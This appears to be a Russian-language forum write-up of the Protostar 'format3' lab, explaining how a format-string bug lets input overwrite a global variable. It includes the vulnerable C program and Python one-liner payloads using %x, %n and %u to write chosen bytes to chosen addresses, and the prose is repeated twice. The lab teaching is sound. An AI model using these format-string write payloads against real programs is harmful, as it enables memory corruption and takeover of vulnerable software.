Доброго времени суток, посетители портала codeby. Продолжаем разбирать уязвимости форматных строк. И так предыдущей статье мы ознакомились с перезаписью глобальных переменных, на этот раз мы будем так же перезаписывать глобальные переменные к конкретному значению. Но при этом более тщательнее контролируя данные которые хотим записать.
Описание ExploitMe
Это более продвинутый уровень переход от формата2, он показывает, как записать в память процесса более 1 или 2 байта памяти. Это также учит вас тщательно контролировать, какие данные записываются в память процесса.
Этот уровень находится в / opt / protostar / bin / format3
Исходный код
Решение
И так посмотрим на исходный код данной нам программы.
Как видно нам это задание похоже на Format2, за исключением того, что код оброс дополнительной функцией, а так же теперь нам надо будет точно контролировать данные которые мы будем записывать, потому, как изменилось условие в конкструкции if, и теперь наша цель состоит в том, чтобы глобальная переменная target стала со значением 0x01025544. И так приступим.
Начнем всё так же с поиска начала входной нашей строки…
Отлично мы нашли начало нашей входной строки. Теперь нам нужно узнать адрес нашей глобальной переменной target в памяти. Можно воспользоваться всё так же objdump + утилитой grep, но на этот раз я воспользуюсь отладчиком GDB.
Адрес переменной target мы получили «0x80496f4», теперь попробуем записать что-то в переменную для теста.
И так… В место строчки 'АААА' положим адрес нашей переменной. К тому же наша входная строка лежит 12 по счету.
Значит будет использовать '%x'*11, а за тем добавим спецификатор формата '%n' для записи.
Очень хорошо мы добились своего. Мы успешно можешь записывать данные в переменную target.
Взглянем еще раз на условие в задаче
Наша переменная должна принять значение «0x01025544», а после теста наша переменная стала равна значению 0x00000041. Мы поменяли первый байт (последний). Следовательно нам нужно поменять второй, третий и четвертый байт. И всё это дело привести к значению «0x01025544».
Чтобы стало ясно, что к чему запустим отладчик GDB и посмотрим теперь уже не адрес в памяти самой переменной target. А посмотрим расположение других байтов в памяти их адреса, относительно адреса target, т.е. адреса следующих ячеек памяти.
Видно и сразу становится ясно, что (последний) первый байт это «0x80496f4», так, как именно этот адрес мы использовали для записи в переменную target это начальный адрес глобальной переменной target, то, есть адрес первой ячейки в памяти, второй байт это адрес «0x80496f5», третий байт это «0x80496f6» и четвертый байт это адрес «0x80496f7».
Получается что если представить память переменной target из четырех ячеек памяти по байту, расположение адресов будет выглядеть следующим образом
С помощью строк форматирования мы можем использовать разные адреса один за другим в стеке и использовать несколько %n параметров для записи в младший значащий байт каждого адреса в последовательности.
Например, мы можем записать все 4 байта в target.
Адреса у нас есть, поэтому составим эксплойт.
Проверяем
Как нам видно, мы записали каждую ячейку памяти. То, есть все 4 байта.
А для того, чтобы контролировать значение, которое записывается для каждого отдельного байта, мы используем спецификатор формата %u. То, есть пишем нужное подобранное нами число и ставим этот спецификатор формата перед спецификатором %n.
Выглядит это так %1337u%n
Но прежде, чем мы поместим спецификатор %u перед каждым спецификатором формата %n, нам нужно будет подкорректировать нашу входную строку, так, как каждая комбинация из спецификаторов %n и %u выталкивают стек. И произойдет вот такая вот ситуация.
Чтобы избавиться от этого и решить данную проблему добавим перед каждым адресом такую последовательность байтов 0x01010101 в нашей входной строке.
И так модифицируем наш код, добавив перед каждым адресом по четыре байта из 0x01, а так же добавим спецификатор формата %u перед каждым спецификатором %n.
И посмотрим на результат
Видно, что глобальная переменная target стала со значением 7d756d65 и мы не получили Segmentation fault…
Теперь надо рассчитать значение для каждого спецификатора %u , чтобы последовательно записать четыре байта для глобальной переменной target. Можно сделать это несколькими способами, к примеру можно это все дело подсчитать через отладчик, так же методом подбора, а можно написать функцию, которая будет делать все за нас, изобретать ничего не будем, я нашел этот велосипед — функцию на Python из одного блога которая, нам и позволит рассчитать эти значения.
Код достаточно понятный. Поэтому его можно переписать на любом другом языке…
Собственно функция работает так, в первый аргумент функции to_write записывается, то значение, которое мы хотим записать. Наша цель это значение 0x01025544, соответственно с начало будет 0x44, 0x55, 0x02, 0x01.
Во второй аргумент функции передаем кол-во байтов. Сейчас поясню, что это за байты.
Помните, когда мы впервые попробовали запись во все 4 байта в глобальную переменную targetи у нас вышло, что переменная приняла значение 0x4d4d4d4d. Так вот мы записали в каждую ячейку память 0x4d. Так же тут стоит вспомнить, что мы увеличили нашу входную строку добавив последовательность байтов из 0x01.
Четыре байта 0x01 для каждого адреса. И всего их 16. Поэтому во второй аргумент функции нам нужно передать сумму этих байтов. То, есть. 0x4d + 16.
А затем подставить во второй аргумент, предыдущий из первого. И таким образом мы найдем нужные нам значения.
Вычислили значения 231,17,173,255
Проверим
Отлично мы успешно справились с задание, теперь можно переходить на следующий
Описание ExploitMe
Это более продвинутый уровень переход от формата2, он показывает, как записать в память процесса более 1 или 2 байта памяти. Это также учит вас тщательно контролировать, какие данные записываются в память процесса.
Этот уровень находится в / opt / protostar / bin / format3
Ссылка скрыта от гостей
, VMИсходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void printbuffer(char *string)
{
printf(string);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printbuffer(buffer);
if(target == 0x01025544) {
printf("you have modified the target :)\n");
} else {
printf("target is %08x :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
Решение
И так посмотрим на исходный код данной нам программы.
Как видно нам это задание похоже на Format2, за исключением того, что код оброс дополнительной функцией, а так же теперь нам надо будет точно контролировать данные которые мы будем записывать, потому, как изменилось условие в конкструкции if, и теперь наша цель состоит в том, чтобы глобальная переменная target стала со значением 0x01025544. И так приступим.
Начнем всё так же с поиска начала входной нашей строки…
Код:
python -c "print 'AAAA' + '%x.'*100" | ./format3
Отлично мы нашли начало нашей входной строки. Теперь нам нужно узнать адрес нашей глобальной переменной target в памяти. Можно воспользоваться всё так же objdump + утилитой grep, но на этот раз я воспользуюсь отладчиком GDB.
Код:
gdb -q ./format3
print &target
q
Адрес переменной target мы получили «0x80496f4», теперь попробуем записать что-то в переменную для теста.
И так… В место строчки 'АААА' положим адрес нашей переменной. К тому же наша входная строка лежит 12 по счету.
Значит будет использовать '%x'*11, а за тем добавим спецификатор формата '%n' для записи.
Код:
python -c "from struct import pack;target=pack('I',0x080496f4);print target + '%x'*11 + '%n'" | ./format3
Очень хорошо мы добились своего. Мы успешно можешь записывать данные в переменную target.
Взглянем еще раз на условие в задаче
C:
...
if(target == 0x01025544) {
...
Наша переменная должна принять значение «0x01025544», а после теста наша переменная стала равна значению 0x00000041. Мы поменяли первый байт (последний). Следовательно нам нужно поменять второй, третий и четвертый байт. И всё это дело привести к значению «0x01025544».
Чтобы стало ясно, что к чему запустим отладчик GDB и посмотрим теперь уже не адрес в памяти самой переменной target. А посмотрим расположение других байтов в памяти их адреса, относительно адреса target, т.е. адреса следующих ячеек памяти.
Код:
gdb -q ./format3
x/b &target
Enter
Enter
Enter
Enter
q
Видно и сразу становится ясно, что (последний) первый байт это «0x80496f4», так, как именно этот адрес мы использовали для записи в переменную target это начальный адрес глобальной переменной target, то, есть адрес первой ячейки в памяти, второй байт это адрес «0x80496f5», третий байт это «0x80496f6» и четвертый байт это адрес «0x80496f7».
Получается что если представить память переменной target из четырех ячеек памяти по байту, расположение адресов будет выглядеть следующим образом
Код:
FF|FF|FF|FF -> 0x80496f7|0x80496f6|0x80496f5|0x80496f4
С помощью строк форматирования мы можем использовать разные адреса один за другим в стеке и использовать несколько %n параметров для записи в младший значащий байт каждого адреса в последовательности.
Например, мы можем записать все 4 байта в target.
Адреса у нас есть, поэтому составим эксплойт.
Код:
python -c "from struct import pack;b1=pack('I',0x80496f4);b2=pack('I',0x80496f5);b3=pack('I',0x80496f6);b4=pack('I',0x80496f7); print b1+b2+b3+b4 + '%x'*11 + '%n%n%n%n'" | ./format3
Проверяем
Как нам видно, мы записали каждую ячейку памяти. То, есть все 4 байта.
А для того, чтобы контролировать значение, которое записывается для каждого отдельного байта, мы используем спецификатор формата %u. То, есть пишем нужное подобранное нами число и ставим этот спецификатор формата перед спецификатором %n.
Выглядит это так %1337u%n
Но прежде, чем мы поместим спецификатор %u перед каждым спецификатором формата %n, нам нужно будет подкорректировать нашу входную строку, так, как каждая комбинация из спецификаторов %n и %u выталкивают стек. И произойдет вот такая вот ситуация.
Чтобы избавиться от этого и решить данную проблему добавим перед каждым адресом такую последовательность байтов 0x01010101 в нашей входной строке.
И так модифицируем наш код, добавив перед каждым адресом по четыре байта из 0x01, а так же добавим спецификатор формата %u перед каждым спецификатором %n.
Код:
python -c "from struct import pack;b1=pack('I',0x80496f4);b2=pack('I',0x80496f5);b3=pack('I',0x80496f6);b4=pack('I',0x80496f7); b5=pack('I',0x01010101); print b5+b1+b5+b2+b5+b3+b5+b4 + '%x'*11 + '%u%n%u%n%u%n%u%n'" | ./format3
И посмотрим на результат
Видно, что глобальная переменная target стала со значением 7d756d65 и мы не получили Segmentation fault…
Теперь надо рассчитать значение для каждого спецификатора %u , чтобы последовательно записать четыре байта для глобальной переменной target. Можно сделать это несколькими способами, к примеру можно это все дело подсчитать через отладчик, так же методом подбора, а можно написать функцию, которая будет делать все за нас, изобретать ничего не будем, я нашел этот велосипед — функцию на Python из одного блога которая, нам и позволит рассчитать эти значения.
Python:
def calculate(to_write, written):
to_write += 0x100
written %= 0x100
padding = (to_write - written) % 0x100
if padding < 10:
padding += 0x100
return padding
Код достаточно понятный. Поэтому его можно переписать на любом другом языке…
Собственно функция работает так, в первый аргумент функции to_write записывается, то значение, которое мы хотим записать. Наша цель это значение 0x01025544, соответственно с начало будет 0x44, 0x55, 0x02, 0x01.
Во второй аргумент функции передаем кол-во байтов. Сейчас поясню, что это за байты.
Помните, когда мы впервые попробовали запись во все 4 байта в глобальную переменную targetи у нас вышло, что переменная приняла значение 0x4d4d4d4d. Так вот мы записали в каждую ячейку память 0x4d. Так же тут стоит вспомнить, что мы увеличили нашу входную строку добавив последовательность байтов из 0x01.
Четыре байта 0x01 для каждого адреса. И всего их 16. Поэтому во второй аргумент функции нам нужно передать сумму этих байтов. То, есть. 0x4d + 16.
Код:
calculate(0x44, 0x4d + 16)
А затем подставить во второй аргумент, предыдущий из первого. И таким образом мы найдем нужные нам значения.
Вычислили значения 231,17,173,255
Код:
python -c "from struct import pack;b1=pack('I',0x80496f4);b2=pack('I',0x80496f5);b3=pack('I',0x80496f6);b4=pack('I',0x80496f7); b5=pack('I',0x01010101); print b5+b1+b5+b2+b5+b3+b5+b4 + '%x'*11 + '%231u%n%17u%n%173u%n%255u%n'" | ./format3
Проверим
Отлично мы успешно справились с задание, теперь можно переходить на следующий
Ссылка скрыта от гостей
!